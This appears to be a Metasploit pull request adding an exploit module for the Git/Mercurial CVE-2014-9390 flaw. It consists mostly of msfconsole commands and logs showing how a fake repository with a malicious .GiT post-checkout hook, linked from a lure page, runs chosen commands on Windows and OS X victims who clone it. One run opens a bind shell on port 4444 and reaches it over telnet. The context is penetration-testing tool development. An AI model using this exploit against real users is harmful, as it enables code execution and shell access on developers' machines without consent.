Add module for Git/Mercurial CVE-2014-9390

This doesn't (yet) spawn a shell, but will execute commands of our choosing when a vulnerable client clones our fake repository and ```PAYLOAD``` == ```cmd/unix/generic```.  In addition to my lack of familiarity with exploit modules, I think that I need to rethink how the malicious repository is constructed in order to spawn shells that metasploit can automatically connect to (```regenerate_payload``` seems relevant).

This is still a bit of a work in progress, but I welcome anyone else to assist with this PR in making it complete.

Fixes #4435 and makes progress against #4445.  It does this by:

* Hosting a malicious Git HTTP repository 
* Hosting a malicious, not-yet-working and disabled by default Mercurial HTTP repository
* Linking to both of these repositories from a mock HTML page in the hopes of luring someone in

Example in verbose mode:

```
msf > use exploits/multi/http/git_cve_2014_9390
msf exploit(git_cve_2014_9390) > set PAYLOAD cmd/unix/generic 
PAYLOAD => cmd/unix/generic
msf exploit(git_cve_2014_9390) > set CMD "whoami > /tmp/f.txt"
CMD => whoami > /tmp/f.txt
msf exploit(git_cve_2014_9390) > set VERBOSE true
VERBOSE => true
msf exploit(git_cve_2014_9390) > run
[*] Exploit running as background job.

[*] Malicious Git commit of .GiT/post-checkout is:
[*] author pQ5ATdwpqVi d9tYPfEIzCu <pq5atdwpqvi_d9typfeizcu@ubhni5jll.com> 1193845246 -0100
[*] committer pQ5ATdwpqVi d9tYPfEIzCu <pq5atdwpqvi_d9typfeizcu@ubhni5jll.com> 393843866 -0100
[*] 
[*] Initial commit to open git repository for ubhni5jll.com!
msf exploit(git_cve_2014_9390) > [*] Using URL: http://0.0.0.0:8080/
[*]  Local IP: http://172.16.10.226:8080/
[*] Server started.
[*] Adding hardcoded uri /git
```

Then on a Windows system that has a vulnerable version from https://github.com/msysgit/msysgit/releases/, I clone the malicious repo and see that ```/tmp/f.txt``` contains my command output:

```
Administrator@win7-git ~
$ rm -f /tmp/f.txt && rm -Rf bad13 &&  /cygdrive/c/Program\ Files\ \(x86\)/Git/bin/git clone http://localhost:8080/git/ bad13 && cat /tmp/f.txt
Cloning into 'bad13'...
Administrator
```

Similarly on a vulnerable OS X host with git from http://sourceforge.net/projects/git-osx-installer/files/ (now broken), with ```set ENCODER generic/none``` (because ```/bin/sh``` seems pretty crippled on my test 10.7 system) and ```set PAYLOAD cmd/unix/generic```` and ```CMD``` as with the Windows example:

```
c107unpatched:tmp admin$ rm -f /tmp/f.txt && rm -Rf git && git clone http://localhost:8080/git && cat /tmp/f.txt 
Cloning into 'git'...
Checking connectivity... done
admin
```

With ```set PAYLOAD cmd/unix/bind_perl```:

```
c107unpatched:tmp admin$ lsof -ni tcp:4444
c107unpatched:tmp admin$ rm -Rf git && git clone http://localhost:8080/git
Cloning into 'git'...
Checking connectivity... done
c107unpatched:tmp admin$ lsof -ni tcp:4444
COMMAND   PID  USER   FD   TYPE             DEVICE SIZE/OFF NODE NAME
perl5.12 8231 admin    3u  IPv4 0xffffff8006aaca40      0t0  TCP *:krb524 (LISTEN)
c107unpatched:tmp admin$ telnet localhost 4444
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
id
uid=501(admin) gid=20(staff) groups=20(staff),401(com.apple.access_screensharing),12(everyone),33(_appstore),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),100(_lpoperator),204(_developer),402(com.apple.sharepoint.group.1)
```

On an unaffected Linux host it does nothing, as expected, because the hook file is in a file by a slightly different name:

```
$  rm -Rf git && git clone http://localhost:8080/git && ls -laR git/.**/hooks/post-checkout
Cloning into 'git'...
-rwxrwxr-x 1 jhart jhart 105 Dec 22 11:44 git/.GiT/hooks/post-checkout

```

The Mercurial option really shouldn't be present at all; it's just going to build up the hopes of the user. I don't mind the rest of the detail and the call to action to help, but it seems like the Mercurial option doesn't do anything other than frustrate the user when it doesn't work today.

At any rate, the boolean shouldn't be required. I'll fix this upon landing, and be explicit about not enabling it. Something like

```ruby
OptBool.new('MERCURIAL', [false, 'Enable experimental Mercurial functionality', false])
```

seems more appropriate today.